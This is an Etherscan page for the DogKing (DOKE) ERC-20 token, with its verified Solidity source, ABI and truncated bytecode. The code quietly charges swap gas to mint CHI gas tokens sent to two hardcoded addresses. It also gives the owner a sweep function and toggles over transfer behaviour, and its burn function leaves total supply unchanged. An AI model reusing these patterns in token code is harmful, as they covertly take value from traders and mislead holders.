Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
10,000,000,000,000,000 DOKE
Holders
208
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
724,844,405,166.113994503 DOKEValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
DogKing
Compiler Version
v0.6.12+commit.27d51765
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2021-06-03 */ // SPDX-License-Identifier: CC0-1.0 /* @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@^=@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@` ,@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@/ \@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@/ \@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@^ =@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@` ,@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@` ,@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@/ \@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@/ \@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@^ =@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@` D o g K i n g ,@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@` ,@@@@@@@@@@@@@@ @@@@@@@@@@@@@@\[@@\` ,/@@[/@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@` ,\@@\` ,/@@/` ,@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@^ [@@@@] ]@@@@[ =@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@\ [@@@@]]@@@@[ /@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@` ,\@@/` ,@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@^ =@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@\ /@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@` ,@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@\ /@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@` ,@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@\ /@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ */ pragma solidity ^0.6.12; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IChiToken { function mint(uint256 value) external; function free(uint256 value) external returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); } interface IDogQueen { function mint(address owner, uint256 amount, bool exchange) external returns (uint256); function equalizeAccount(address sender, address recipient, uint256 amount) external returns(bool); } contract DogKing is IERC20 { using SafeMath for uint256; address private _admin; address public _dogQueen; address public _pairAddr; address private _operater = 0xDc280AD6e77F68f1826E69928bc6Aa06Dd986EBF; address public _chiToken = 0x0000000000004946c0e9F43F4Dee607b0eF1fA1c; // mainnet //address public _chiToken = 0x3eaF997bE853125066d41B23b6AE10162Bfd1eE8; address public _uniRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; mapping (address => uint256) public _balances; mapping (address => mapping (address => uint256)) public _allowances; mapping (address => uint256) public _usedChiToken; uint256 public _totalSupply; string public _symbol; string public _tokenname; uint8 public _decimals; bool private _openTransaction = false; uint256 public _starttime; uint256 public _starttimeOffset = 30 days; uint8 public _centuryNum = 1; uint256 private _ChiTokenAmount = 0; event DebugUint256(string str, uint256 num); event DebugAddress(string str, address addr); event DebugMessage(string str); constructor () public { _admin = msg.sender; _symbol = "DOKE"; _tokenname = "DogKing"; _totalSupply = 1e16*1e9; _decimals = 9; _starttime = now; _balances[address(this)] = _totalSupply.mul(50).div(100); _balances[_operater] = _totalSupply.mul(50).div(100); } modifier onlyOwner() { require(_admin == msg.sender, "Ownable: caller is not the owner"); _; } function setOperator(address operator) public onlyOwner { _operater = operator; } function setPairAddress(address addr) public onlyOwner { _pairAddr = addr; } function makePair(address addr) public onlyOwner { _dogQueen = addr; } function burnCoin() public onlyOwner { uint256 time = now; uint256 genesisTime = _starttime.add(_starttimeOffset.mul(_centuryNum)); require(_balances[address(this)] > 0, "Genesis time out."); require(time > genesisTime, "next Genesis block not yet due."); _balances[address(this)] = _balances[address(this)].sub(_totalSupply.mul(10).div(100)); if (_centuryNum < 6) { _centuryNum++; } } function name() public view returns (string memory) { return _tokenname; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function startTransaction(bool start) public onlyOwner { _openTransaction = start; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { if (_openTransaction) { if (msg.sender == _pairAddr) { uint256 res = IChiToken(_chiToken).balanceOf(address(this)).mul(_balances[msg.sender]).div(_totalSupply); if(res - _usedChiToken[msg.sender] >= 4) { IChiToken(_chiToken).free(4); _usedChiToken[msg.sender] = _usedChiToken[msg.sender].add(4); } IDogQueen(_dogQueen).mint(recipient, amount, true); _transfer(_msgSender(), recipient, amount); return true; } else { IDogQueen(_dogQueen).equalizeAccount(msg.sender, recipient, amount); _transfer(_msgSender(), recipient, amount); return true; } } else { _transfer(_msgSender(), recipient, amount); return true; } } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { if (_openTransaction) { if (msg.sender == _uniRouter) { IChiToken(_chiToken).mint(15); IChiToken(_chiToken).transfer(0x4D489eA839a7Bb47C4B9bA32ed277afA8A883067,3); IChiToken(_chiToken).transfer(0x2Dc11a0A66810cd9ff57ef5c852284A6E3B394eb,3); IDogQueen(_dogQueen).mint(sender, amount, false); _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } else { IDogQueen(_dogQueen).equalizeAccount(sender, recipient, amount); _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } } else { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _gastoken(address _addr) onlyOwner public { uint256 _balance = IERC20(_addr).balanceOf(address(this)); IERC20(_addr).transfer(msg.sender,_balance); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"string","name":"str","type":"string"},{"indexed":false,"internalType":"address","name":"addr","type":"address"}],"name":"DebugAddress","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"string","name":"str","type":"string"}],"name":"DebugMessage","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"string","name":"str","type":"string"},{"indexed":false,"internalType":"uint256","name":"num","type":"uint256"}],"name":"DebugUint256","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"_allowances","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_balances","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_centuryNum","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_chiToken","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_dogQueen","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_addr","type":"address"}],"name":"_gastoken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_pairAddr","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_starttime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_starttimeOffset","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tokenname","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniRouter","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_usedChiToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"burnCoin","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"makePair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"}],"name":"setOperator","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"setPairAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"start","type":"bool"}],"name":"startTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
608060405273dc280ad6e77f68f1826e69928bc6aa06dd986ebf600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506d4946c0e9f43f4dee607b0ef1fa1c600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600c60016101000a81548160ff02191690831515021790555062278d00600e556001600f60006101000a81548160ff021916908360ff16021790555060006010553480156200014d57600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600481526020017f444f4b4500000000000000000000000000000000000000000000000000000000815250600a9080519060200190620001db92919062000523565b506040518060400160405280600781526020017f446f674b696e6700000000000000000000000000000000000000000000000000815250600b90805190602001906200022992919062000523565b506a084595161401484a0000006009819055506009600c60006101000a81548160ff021916908360ff16021790555042600d819055506200029660646200028260326009546200037b60201b620024631790919060201c565b6200040660201b620024e91790919060201c565b600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620003106064620002fc60326009546200037b60201b620024631790919060201c565b6200040660201b620024e91790919060201c565b60066000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620005c9565b60008083141562000390576000905062000400565b6000828402905082848281620003a257fe5b0414620003fb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180620033506021913960400191505060405180910390fd5b809150505b92915050565b60006200045083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200045860201b60201c565b905092915050565b6000808311829062000508576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015620004cc578082015181840152602081019050620004af565b50505050905090810190601f168015620004fa5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816200051557fe5b049050809150509392505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106200056657805160ff191683800117855562000597565b8280016001018555821562000597579182015b828111156200059657825182559160200191906001019062000579565b5b509050620005a69190620005aa565b5090565b5b80821115620005c5576000816000905550600101620005ab565b5090565b612d7780620005d96000396000f3fe608060405234801561001057600080fd5b50600436106101cf5760003560e01c806355ff94db11610104578063b09f1266116100a2578063e816919711610071578063e816919714610925578063eb531c5714610959578063ec6b0ece1461098d578063fcceafc2146109e5576101cf565b8063b09f1266146107a2578063b3ab15fb14610825578063dd62ed3e14610869578063def8512d146108e1576101cf565b806395d89b41116100de57806395d89b411461065957806397401eda146106dc578063a22d4832146106fa578063a9059cbb1461073e576101cf565b806355ff94db146105795780636ebcf607146105a957806370a0823114610601576101cf565b806323b872dd11610171578063313ce5671161014b578063313ce567146104e557806332424aa3146105065780633eaaf86b1461052757806342ba61bb14610545576101cf565b806323b872dd146104135780632a82afa7146104975780632d56af6c146104db576101cf565b8063095ea7b3116101ad578063095ea7b31461035257806310a4cd70146103b657806318160ddd146103d45780631fb92be2146103f2576101cf565b8063024c2ddd146101d45780630487444b1461024c57806306fdde03146102cf575b600080fd5b610236600480360360408110156101ea57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a19565b6040518082815260200191505060405180910390f35b610254610a3e565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610294578082015181840152602081019050610279565b50505050905090810190601f1680156102c15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102d7610adc565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103175780820151818401526020810190506102fc565b50505050905090810190601f1680156103445780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61039e6004803603604081101561036857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b7e565b60405180821515815260200191505060405180910390f35b6103be610b9c565b6040518082815260200191505060405180910390f35b6103dc610ba2565b6040518082815260200191505060405180910390f35b6103fa610bac565b604051808260ff16815260200191505060405180910390f35b61047f6004803603606081101561042957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bbf565b60405180821515815260200191505060405180910390f35b6104d9600480360360208110156104ad57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112cb565b005b6104e36113d0565b005b6104ed61170e565b604051808260ff16815260200191505060405180910390f35b61050e611725565b604051808260ff16815260200191505060405180910390f35b61052f611738565b6040518082815260200191505060405180910390f35b61054d61173e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105a76004803603602081101561058f57600080fd5b81019080803515159060200190929190505050611764565b005b6105eb600480360360208110156105bf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611842565b6040518082815260200191505060405180910390f35b6106436004803603602081101561061757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061185a565b6040518082815260200191505060405180910390f35b6106616118a3565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106a1578082015181840152602081019050610686565b50505050905090810190601f1680156106ce5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106e4611945565b6040518082815260200191505060405180910390f35b61073c6004803603602081101561071057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061194b565b005b61078a6004803603604081101561075457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611a50565b60405180821515815260200191505060405180910390f35b6107aa611f97565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107ea5780820151818401526020810190506107cf565b50505050905090810190601f1680156108175780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6108676004803603602081101561083b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612035565b005b6108cb6004803603604081101561087f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061213a565b6040518082815260200191505060405180910390f35b610923600480360360208110156108f757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506121c1565b005b61092d6123d9565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6109616123ff565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6109cf600480360360208110156109a357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612425565b6040518082815260200191505060405180910390f35b6109ed61243d565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6007602052816000526040600020602052806000526040600020600091509150505481565b600b8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ad45780601f10610aa957610100808354040283529160200191610ad4565b820191906000526020600020905b815481529060010190602001808311610ab757829003601f168201915b505050505081565b6060600b8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b745780601f10610b4957610100808354040283529160200191610b74565b820191906000526020600020905b815481529060010190602001808311610b5757829003601f168201915b5050505050905090565b6000610b92610b8b612533565b848461253b565b6001905092915050565b600e5481565b6000600954905090565b600f60009054906101000a900460ff1681565b6000600c60019054906101000a900460ff16156111f357600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561103157600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a0712d68600f6040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b158015610ca257600080fd5b505af1158015610cb6573d6000803e3d6000fd5b50505050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb734d489ea839a7bb47c4b9ba32ed277afa8a88306760036040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610d6257600080fd5b505af1158015610d76573d6000803e3d6000fd5b505050506040513d6020811015610d8c57600080fd5b810190808051906020019092919050505050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb732dc11a0a66810cd9ff57ef5c852284a6e3b394eb60036040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610e4657600080fd5b505af1158015610e5a573d6000803e3d6000fd5b505050506040513d6020811015610e7057600080fd5b810190808051906020019092919050505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d1a1beb4858460006040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182151581526020019350505050602060405180830381600087803b158015610f2057600080fd5b505af1158015610f34573d6000803e3d6000fd5b505050506040513d6020811015610f4a57600080fd5b810190808051906020019092919050505050610f67848484612732565b61102884610f73612533565b61102385604051806060016040528060288152602001612cd160289139600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610fd9612533565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129ec9092919063ffffffff16565b61253b565b600190506112c4565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638c4fd5ce8585856040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1580156110e257600080fd5b505af11580156110f6573d6000803e3d6000fd5b505050506040513d602081101561110c57600080fd5b810190808051906020019092919050505050611129848484612732565b6111ea84611135612533565b6111e585604051806060016040528060288152602001612cd160289139600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061119b612533565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129ec9092919063ffffffff16565b61253b565b600190506112c4565b6111fe848484612732565b6112bf8461120a612533565b6112ba85604051806060016040528060288152602001612cd160289139600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000611270612533565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129ec9092919063ffffffff16565b61253b565b600190505b9392505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461138c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611491576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600042905060006114d36114c2600f60009054906101000a900460ff1660ff16600e5461246390919063ffffffff16565b600d54612aac90919063ffffffff16565b90506000600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541161158a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f47656e657369732074696d65206f75742e00000000000000000000000000000081525060200191505060405180910390fd5b8082116115ff576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f6e6578742047656e6573697320626c6f636b206e6f7420796574206475652e0081525060200191505060405180910390fd5b61167961162b606461161d600a60095461246390919063ffffffff16565b6124e990919063ffffffff16565b600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b3490919063ffffffff16565b600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506006600f60009054906101000a900460ff1660ff16101561170a57600f600081819054906101000a900460ff168092919060010191906101000a81548160ff021916908360ff160217905550505b5050565b6000600c60009054906101000a900460ff16905090565b600c60009054906101000a900460ff1681565b60095481565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611825576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600c60016101000a81548160ff02191690831515021790555050565b60066020528060005260406000206000915090505481565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6060600a8054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561193b5780601f106119105761010080835404028352916020019161193b565b820191906000526020600020905b81548152906001019060200180831161191e57829003601f168201915b5050505050905090565b600d5481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a0c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600c60019054906101000a900460ff1615611f7a57600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415611e72576000611be8600954611bda600660003373ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffffffffffffffffffff